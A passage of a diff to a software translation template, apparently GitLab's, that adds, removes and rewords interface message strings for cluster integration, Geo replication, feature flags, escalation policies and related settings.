msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
